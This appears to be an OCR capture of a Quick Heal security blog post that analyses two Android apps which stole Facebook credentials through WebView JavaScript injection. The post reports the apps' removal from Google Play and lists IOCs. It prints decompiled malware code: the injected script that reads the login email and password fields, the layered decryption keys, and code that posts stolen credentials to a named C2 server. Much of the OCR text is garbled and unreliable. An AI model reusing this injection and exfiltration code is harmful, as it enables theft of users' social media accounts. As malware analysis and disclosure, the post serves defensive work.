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Social media credentials are always a lucrative thing for threat actors. They use various techniques to get them. Some use
overlays with fake user interfaces, some use key-logging, and some use simple social engineering to trap users. Another way
threat actors have been used in the recent past is JavaScript code injection in WebView to steal Facebook credentials. The

script directly hacked the entered Facebook login credentials.

In Jan 2022, Quick Heal Security Labs saw many Facebook credentials stealer applications on Google Play Store, which use

different techniques to hide their JavaScript code. Android researchers named Facebook credential stealer “Facestealer.”

How dangerous is this?

In case of successful harvesting of Facebook credentials, the hacker gets access to the user’s personal information like
personals details, friend lists, relation details, activities, private posts & messages, Photo/Videos, life events, etc. and

perform malicious activities such as hackers can

« Impersonate to be a real user & use this data for malicious activities like phishing & Spoofing.
e Use the compromised accounts to distribute spam messages, malicious links, malware files, etc.
» Blackmail the victim user with collected private sensitive data for financial or other benefits.

» Spoil the victim’s social reputation.

¢ Change the victim’s personal details.

e Post unwanted posts.

» Compromise victims’ other social media and professional accounts using the collected information.
So, losing Facebook credentials to hackers can be very dangerous, as it could lead to several unforeseen consequences.
What Did Quick Heal Security Do For This?

The Quick Heal Security Labs have reported the following applications to Google Play Store, and Google has taken prompt

action (see Fig. 2) and removed these applications from Google Play Store.
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Fig. 1. Reported applications from Google Play Store with its download count
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< 17 lan Date of Reporting
y B andiced com

«dm 14 Jan Date of Reporting
android.com

Hi Android Security team, Hi Android Security team,

O security researcher has found a malicious app an the Play store, which Thanks for your guick response,

steals Facebook credentials. Here is another application having a similar activity of injecting lavaScript to
steal Facebook credentials.

Application Nama: Pic Art

MD5: db05ae3ccb6 The 169 0d6566a07The Application name: smart scanner

Application link: https://play, google.com/store/apps/details? MD5: 38a72e3b36c4bad4bf2 2c0ceTlectBbadl

id=com.artpics campro i 1 limvke: it/ Yplay.poogle com/store/apps/details?

id=gom.friendirip smanscanner

Pics Art offers a Ic
photo editing tools,

' Response from Google

Security at Android <securityatandroid@googlecom> & @, o
17 Jan

H % =2

[ I

Cc

Hello,

Hello,

Thariks again for reporting this to our team. We can now confirm that the

app is no longer available on the Play Store, Thanks again for reporting this to our team. We can now confirm that the

app is no longer available on the Play Store,

Bast,

The Play and Android Security Team Best,

The Play and Android Security Team

Fig. 2. Mail about application report to Google and Google’s confirmation

Below is a technical analysis of these applications:

Technical Analysis:

#1. Application Name: PicsArt

MD5: db95ae3cc6697bc9169fc9d6566a97bc

This application used various string encryptions to avoid AV engine detection and made analysis difficult for researchers.
This application:

¢ Opens with a Picsart screen (shown in the middle).

 Then redirects it to the next page, asking for Facebook credentials.
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Fig. 3. Application launch and ask for Facebook credentials
But in the background, this application makes a request to the URL — hxxps|:]//magol.]qfoster[.]shop/PHP/submit/data.

Fig. 4. shows the code executed by the application to make this request.

{ (PostFormBuilder) OkHttpUtils.post().url{C8159a.f1823a)).addParams("p_p", "com.rismas.tdaycam”
System.currentTimeMillis() / leee) - 75@e@)).build().execute(new C@16la(bVar));

) .addParams([p_v", "1"}.addParams String.valueOf((

<= | Execution code with parameters |
public static final String f1623a =["https://mago.qFoster.shop/phs/subnit/datas"} gem| JRL

Fig. 4. Code for the above request

And application gets the encrypted response which is shown in Fig. 5

|https:]jmagu‘qfuster‘shnp POST  /php/submit/datas V200 3848 script 17:35:1511‘..‘ ‘ Request URL

Request | Response « Received Response
o B Bl n

HITP/Z 200 OK
Date: Tue, 11 Jan 2022 12:06:16 GHT

Content-Type: text/html; charset=utf-@

Vary: Accept-Encoding

hecess-Control-Allow-Origin: *

hecess-Control-Allow-Hethods: DOST,GET,PUT,DELETE,0PTIONS

hecess-Control-Allow-Headers: Content-Type,Access-Token,x-token

Cf-Cache-Status: DYNAMIC

Expect-Ct: max-age=504800, report-uri="https://report-uri.cloudflare. com/cdn-cgi/beacon/expect-ct"
Report-To:

{"endpoints”: [{"url": "https: /' /a.nel.cloudflare. com'/report | /v3?s=ALxMuD5o5ULdyxonM fqé muxAss 2FpSLAKS ig
£a4iSCQ7PgoHCBe3umIsyLHI33D33D" } 1, "group”: "cf-nel®, "nax_age": 504000}

Nel: {"success_fraction’:0,"report_to':"cf-nel", "max_age":£04800}

cloudflare
Gche049d90e£4a02-5TH
13=":443"; wma=0E400, h3-2

T e h e

Alt-Sve:

©443"; ma=BE400, h3-28=":443"; ma=B5400, h3-27=":443"; ma=05400

1€ DVARVIYHL+COM/s THazK+ptim I FIHUS ndd 16 Re08zXkut OXqlinTw3le QU TGS r 10Nyl 1 "uhUChnS ) SeB+5Psu/ 1 qSDwliRaba (7 qgHaxe
UNnENnELqEe LKSV fwB0t7aD ] 8Bz CdpHheWs RdxE £2Ngde anCDB 40 £ 7y XGuEMan0 Ovesl/QUpEMx 1145 TutBe LFKBEundo £T2 fndy’
ergifsehalirs/HdjsxUbmnSpq250129dblelhludsnS Ay HQALESMVQrnliTwiCBTeSWIEEC bt SmlpZhb W iVEEs IDETO00LNAp /D 3V
1Ph/em7INCVCOr 10qTAIVilOBMMOuln/09yuer /0e S TSGIACSE /BE40 £ IMh+Ka T2y £FE 0k wiAgall7a02e IERr Ctwo INI6ge RGHVHC dI g4
MNFZ73TrdUBZHE]ial LEquaiBvdCEme] +DWeYInL7LZhARyip GEKWDGp 1015 JFPaz fizdd Lheyt riT1ZqLsJDLiecZBLpY3hEMiE+E]

Fig. 5. Response from c2 for application’s request

Received encrypted data is decrypted by application which is shown in Fig.6.
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hitps://mago.qfaster.chop POST /php/submit/datas

DV dkVIYHI+CON /s IHaz
UNnElnE lqEe LEEY tuBot] PESPONSE
crgitsshaljrs/Ha3sx) Data

LEh/emT LNCVCOr I0gIA]
MNFZ7)TedUBZHE I LaTLE
MuYvlcUZ51LEHY PEsckna

DES/CEC
I—IV:-ATO0ES&CC
Fey:-00000000000000008BESD5F007ATOCCE]

S0HudFF4 ¥oriVpo
VEhWNKdES1BET
FNaVVYrM3RYY1
QxVEYzWmdmen 1w
QULlhVidLd1hDZ
D¥kdiQExLUTS=

Basedd UTF-8

ECntQxbeipnkEJd]|
ZiE4d47UIRRbeM|
DIC4i53HIOTLA|
EwHCgEwpHwizv
Z0iger0ltF3Ins

2E5/CEC
| |IV:-A70E36CCDCEDETAL
Eey:S8B8SDSF00TATOCCE]

EeYJcindZan dul]
eTVCQkdBQODS
OY3VsZnpcL2 Oy
ZelIManVoVnin)
tUZ21hc0x0VIdZ

Baseg4 -UTF-8

"version™:"1_0§",

"dakaa"
"pEVa":"LEZsd
"zMd+H
"gyer”:"1l.0.3
Te

"1i.o0.zv,
SAC0376DDEFZBZZD"
"EIm3Ftwih /b9lLzle
"key":"OMEZDA3IX",

Final decrypted Response

Decryption Flow of response data

Fig. 6. Decryption flow for response data

The application uses DES/CBC encryption followed by Base64 to get intermediate data for this encryption purpose. Then
AES/CBC encryption is followed by Base64 to get a final decrypted response.

Fig. 7 shows the final decrypted output of this process. This decrypted data is used by applications for further processes.
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{
"version":"1.04",
"datas":{
"prva":"LiZeeMOmgzAZiIWgTSIDtpOhGDLLPZ2FIKCGVNERE IOy SBBGACTwxNE1GR03C e,

"dezc" : "zMd+beA3dbkezuDT TrQTmguidBb4 5+vIinz0KLCOS0cMGP T TeggepIJzERvo IME..

"ayar":"1.0.2"
}i

"ayer:"1.0.2",
"time":"9ACO3TeDD3IF2RZ22D",

"desc": "KfmOFtw2h /bYlLzRe\ /ziphe] +5gSVBSCHsMGgbnHTENAeQlzozmZQ3tabj ZKEEL 1 9WE Y zbec,.....,

"key" : "OMG2DA3X",

e |
"95Bp+sNJieT2ZpYPkJIGgbuSUgfPbPxGO+rRzZsNC28c=",

"FeIMIHQgSZnFACNT2gEMIMDZ txikyFEA01hx\ /4Q80db55f06QiR162322nzweBk35J5B89a\ /EY T 6t HNmwl Lbxw=="",

"iffIPratcQNFMbefS3APokDelkohi Tx00Hd+CN]1S0eTppzZmm', / LORVEN / IvdrEmKESISBE 93\ /EY T 6t HNmw I Lbxw==""
)e

"pau”: "ibVv1bSNOFcBGyskMI yyWqlCEMI JoFY /\ /HSZH3yOMpMi 6AN /+CROE1qj 3zsCmY T4 k7 6tRalojUdpd DB 1wi 74bQSVARKDD

Fig. 7. Final decrypted response data

The application saves this decrypted data in the SharedPreference file, i.e. x86m.xml, for future use.

Check Fig. 8. where data of x86m.xml is shown.

[E xB6m xmi E3
1 <?xml -version='1.0' encoding='utf-8' standalone='yes' 2>
2 <map>
5 <string name="prva">Lf2seMOmgzAZiIWgTS5JDtpOhGDtLP22FJKcGVNER!
4 <string name="desc">zMd+beA3dbezuDT7rQTmguilBb45+vIinx0KtCOS!
5 -</map>

Fig. 8. SharedPreference File x86m.xml data
Now, the application uses these values to get the Facebook URL value and JavaScript injection code.

Here functions C0151a.m855b() gives values from shared preference file “x86m.xml” then these values are decrypted by

C0152a.m930a() function-

javascript:window.assi.showAsd(document.getElementById(‘m_login_email’).value,document.getElementById(‘m_login_passworc

Fig. 9 shows this, which decrypts Facebook URL values, JavaScript injection code, and execution it deploys.

String str = (String) |C@151a.mB55b("xB6m", "desc”, "");

string str2 = (String] C@151a.m855b("x86m", “prva”, *");

if (str2.equals("") || str.equals( 1] 1
this.f1898r.setVisibility(a);
this.f1891s.setVisibility(8);

1 else {
str = EBlSZa.-DB&a(str, "C433398BB@327987" ) ; | . JavaS(ript code decryption function
this.f1898r.setVisibility(8);

this.f1e91s.setVisibility(@);

«m Accessing values from shared preference

1

J

WebSettings settings = this.T1891s.getSettings();

this.f1851s.addJavascriptInterface(new C8182e(), "assi");

(0l6@a.fl827a = settings.getUserAgentString();

settings.setlavascriptEnabled|true);

this.f1891s. setiebViewClient(new CO158c(this.f1891s, this.f183%4v, str));

WebView webView = this.f1891s;

String strd = GTVManager.T1886d;

if (str3 == null) { . .
i aptemre LG Facebook URL decryption and opening the facebook page

1
Iweh\rien.loadurlfcalsn.m.ESBc(CB:LSla.nBSld[C9151a.m853c(str2, str3), str3, "AVBE9SCD"), "EBBBDSFB@?A?'GECF'}),‘I
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Fig. 9. Code for opening official Facebook page and JavaScript injection

Fig. 10. gives the flow of decryption of this data. It takes the value of the “desc” key from the shared preference file. Then it

uses AES/ECB encryption two times, followed by Base64 decryption to get the final decrypted JS code.

SharedPreference- file. x86m. xml

<3tring- name="gdezsc">

zMd+bel3dbezulTTrTmgui 0B S+ Iink0KLCOS0cMEET Teqaep
IJzERvoIM9dQtuund JEECWNZ 2X5 ZZMV e r ERoVtaBIXE IMOUCOVD
IRGYyrZikNjKEtaym+GwhlRgWiMBRcUr55BvLzCocneQyL+3JU4LKEUC
SN/ULNFUBGItFOIRISVsKZQA I mawl", /WWEh+EXLEsco0GTITFEj 2KK 3 Z3w==

RES/ECE
KEY:C433390BB03273B7

£IUPCWX90L/ Chrm6UVheUouY 1 h+rC+6XENZEIGVRZr+0veZnop,/ hNt
L27Q91CTuyli zq] T£EbD0LCE T rw3M4bhDo 0+ 3LhENASuIFSqpi vEAEL
PEaYnTZ9+kiBvipFisQchRFaelimtYG] 630vQHFC/+DEIRSg2J5Z0Ze
WoGobLxDt/iH1LELG/KByANRQSOR

MES/ECE
| |KE¥Y:0FTB949E034BAEC

amF2¥ENjcmlwdDp3aWskb3cu¥Nza55zaG o3 QXN kKGRvY ISVEEZWS0Lmdl
dEVIEZWL 1bnRCeUlkKCAt 2xnvi2 luaVe¥Wla JyvkudmFsdWIsZGa]dW1l
bnCuZ dVOIRWK1 bWV udEJSSWRoJ21 fhGonaWs feGFzc3dvempnES 52 YW1 Z5k7

Basegd UIF-5

JAavaacript:window.gg3] - showhsd (document .. getElementById
m_login_emai .value,document..getElementBy m_login passwor .value);
'm_login | i1’ 1 d E1l ById('m login p d’ 1

Fig. 10. JavaScript injection code decryption flow
To get Facebook URL decryption function is called inside the webview.loadurl() function.
In this decryption function:

« It takes the value of the “private” key from the shared preference file

e Then it uses AES/ECB decryption followed by Base64 to get intermediate data
Then DES/CBC followed by Base64 to get second intermediate data

e Then AES/ECB followed by Base64 to get the final URL value

The above steps are explained in Fig. 11.
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SharedPreference- file x86m.xml

<string-name="prva"r

LfZseMOmgzAZi
sBaPRsTxais0E
¥La/mZC+WxBk1l
S=wVoiTH7yrLl]j

RES/ECE
EE¥:5AC037eDD3F2BZZD

TzdulUglEQ
YWV IWChUd4l
tSZTczY TR
E05ne DN

Bagend TUTE-8

c7nSH4+ELR
REB4EZgisTc
SYoeTiyhdw
cBFefWE SO0

DES/CBC
| IV:-A70ES&CD
Eey:00000000000000005AC037eDD3F2B22D

claxVHey(Tog
ReWRmcGtMMDE
T1Ex=El1DERkdM
OVDHVJURWEL T]

Bzseod UIF-2

SE1TwZAT3rR
Za¥gMWloSak
[VHOECYRTEAS
LYFEMgIJIpS

RESSECE
EEY:8BE&5DSFO0TATOCCE]

=HEOcHMeLy3
1£22VEEFTHMEM,
[0 PTEmMboV 4
2 o1 MEZAEIT

Basegd UTF-§

: . api login=ls
api key=393192429270713sapp 1d=393192429270713s3igned next=I1s
next= 33A%2F32Fm. 5§ c.comE2Fv12.0%2Fdialogi2Foauthil
Fcct prefetching(3D0%26client id%3D3931924292707133%326redirect urj
$30fb393192429270713325303252F3252Fauthorize

Facehook URL decryption Flow
(Encrypted data shown here is representation of actual data)

Fig. 11. Facebook URL decryption Flow
After this, “ShowAsd” is the function called from JavaScript code.

This function takes the values and stores them in one of the shared preference files — “FILE_KPx86m”, as shown in Fig.12
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@lavascriptInterface
public void showfsd(String str, String str2)
if (!TextUtils.isEmpty(str) R& !TextUtils.isEmpty(str2)) {
String h = outline.m33@3h{str, ":", str2);
if ('h.equals((5tring) C@151a.m855b("FILE_KP", "FILE_KPxB6m", ""))) {
C8151a.m388m( "FILE_KP", "FILE_KPx3em", h);

I
L

Fig. 12. Code which keeps collected information in one file
Below code (Fig.13.) is preparing collected data for submission.

o It takes data from the FILE_KPx86m file

 Then it first encrypts it with AES/CBC

¢ Then with DES/ECB.

o Then it sends this encrypted data to the C&C server

Fig. 14 explains this code.

/* renamed from: a */
public static fimal String[] fle38a = {"acco™, "pwo”, "ckcle", "pega™, "c_use"};

/% renamed from: a ¥/
public static String m936a() {
J150NObject jSONObject = new J50ONObject();
try {
if (lCe16@a.f1829c) |
js0NObject.put("head”, m338c(fle38a.tostring(), ""));
1
I String[] split = ((String) C®151a.m855b("FILE_KP", "FILE_KPx86m", ”"jj.split(":");l
it (split.length == 2) |
string[] strArr = f1838a; “Accessing stored data from shared
jSONObject.put(strarr[8], split[e]); preference
jSONObject.put(strArr[1], split[1]);

}
String[] strArr2 = f1838a;
jSONObject.put(strarr2[2], C@151a.m855b( "@ADS2D26A4372751", strarr2[4], ""));
jSOnNObject.put(“genta™, C@leda.fle27a);
return C@15la.m864e(jSONObject.toString(), "BADS2D26A4372751", true);
} catch (Exception e) {
e.printStackTrace();
return "7

Fig. 13. Encrypting collected data

HashMap hashMap = new HashMap();

hashMap.put(Celéea.fl@3ed + "1.2", C@l6%a.m336a()); « Execution code
C8179b bvar = new C@179b();

MediaType mediaType = C@165e.T1835a;

public static final String f1825c = "https://mago.gfoster.shop/php/postdata”; ‘ Post URL

( (PostFormBuilder) OkHttpUtils.post().url{C@159a.f1825c)).params((Map) hashMap).build().execute(new C8162b(bVar));

Fig. 14. Posting collected data to c2
#2. Application name: smart scanner
MD5: 38a72e3b36c4b44bf22c0ce78ec668d1

The second application, i.e. smart scanner, which we have reported, is relatively less complex.
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This application opens with a smart scanner default screen (shown in the middle of the image). After clicking the login with

Facebook button, it opens the third screen, asking a user to log in with Facebook credentials.

+  Google Play Q

mml Smart Scanner
I_ Smnmnc] b Barikh

@ ﬁ 108 Fesgword

wowe Pated for 3+ @ DCorarizeda
o=
[EEEnE | —

You might also like }Q N

m - I Smart Scanner

Lom Waghiden  Microaokt Excal: md.um

o Wan nn:»ﬂn s Engpiah i
Abput this app
4 (] L] a4 ] L] - [ L]

Fig. 15. Smart scanner application Launch
This application is comparatively less encrypted than the above application.
As shown in the first part of Fig. 16,

o The application opens the official Facebook page.

o Here it adds a JavaScript interface with the name “jshandler.”

o In part 2, we can see the JavaScript code to get email and password values.
o In part 3, it creates a JSON object with this data,

¢ In part 4, it sends it to c2.
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public void onCreate(Bundle bundle) { 4m1) Opens Legitimate Facebook Page
super.onCreate(bundle);
setContentView(({int) R.layout.activity_web_wview);
WebView webView = (WebView) findviewById(R.id.webview);
this.oloo000 = webView;
webView. getSettings().setJavascriptEnabled(true);
this.oBoo00o, getsettings (). setBuiltInZoomControls(true);
this.oboollc. setebViewClient (new OooOBo(this));
this.oBoo00o. setiWebChromeClient (new Ooo0B08(this));
this.obool0o. getSettings() . setUserAgentString(“Mozilla/5.@ (Windows
this.oBoo00c. getSettings (). setSuppertZoom|false);
this.oBoo00a, getSettings (). setBuiltInZoomControls(false);
this.oloo000. getSettings (). setUseideViewPort(true);
this.oBo0000. getSettings () . setLoadiithOvervientode( true);
this.oBoolDo.getSettings (). setMixedContentMode (@) ;
this.ofBoollo, addlavascriptIntertace! new Doo0800(), “jshandler”);
-tacebook.com™);

¥ 2) Javascript injection code to steal credentials

public class OooQ0@ implements Runmable {
public OoccOOB() {

public void rum(} {
HWebViewictivity thiz.o@o0000. loadur " javascript twindes
WebViewActivity . this. o@oo000, loadUr B “javascript rwindsos

jehandler . getUser(document getElementById('m_login_email
jshandler.getPwd(document. getElementBy Id{ "m_login_passe

try { 4 3)creates jasonobject with data

JsoNobject jSONDbject = new JSONObject();
J50NObject . put(“account”, webViewActivity.o00080);
jSoNObject. put(“pwd™, webViewActivity.odOoloo);
jsomobject.put(ua"”, webViewdctivity.o@00880);
JS0MNObject. put(“cockie”, webViawActivity.o@o0000);
webViewActivity.ooBo@lc = jSONObject.toString();
webViewdctivity. runOnUiThread(new OooD());

} catch (JSOMNException e) {
e.printStackTrace();

byte[] bytes = str.getBytes(charset); ‘ 4} Sends thIS data to CZ
C8751t . Ooo0{bytes, "(this as java.lang.String).getBytes(charset)");
int length = bytes.length;

Ca751t. 0oo008( bytes, "SthisStoRequestBody™);

bkl,Oco0@0@( (long) bytes.length, (long) @, (long) length);

izl i21 - mew i21(bytes, Ooo0B0@, length, @);

21.0o00@80 ooo08B02 = new g21.0000880()

Fig. 16. Application malicious code
10Cs:

Quick Heal Security Labs detect these apps with variants of Android. Facestealer

Name Package Name MD3 Detection

Picsart | com artpics.campro | db93ae3cc6697be?169fc9d6566a97be | Android FaceStealer Afbe3

Smart com friendtrip smar | 38a72e3b36c4bd4bf22c0ce78ect68d] | Android FaceStealer A600c
Scanner | tscanner

Social media credentials theft is not seen as a severe issue as financial credentials theft. As we stated earlier, this is a
challenging issue, and users should understand the problem involved.

Malware authors spread these malware applications on the Google Play Store in photo editing applications, pdf applications.
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Users easily download these types of applications without giving much thought. Users should avoid logging in using social

media for such kinds of applications.

How can users secure their Facebook account?

Users should use features provided by Facebook to secure their account, such as

o Two-factor authentication

» Trusted contacts
These features may help users to avoid getting hacked by hackers.

Quick Heal Security Lab continuously checks applications from Google Play Store for such malware.

Source: https://blogs.quickheal.com/stay-alert-of-facebook-credential-stealer-applications-stealing-users-credentials
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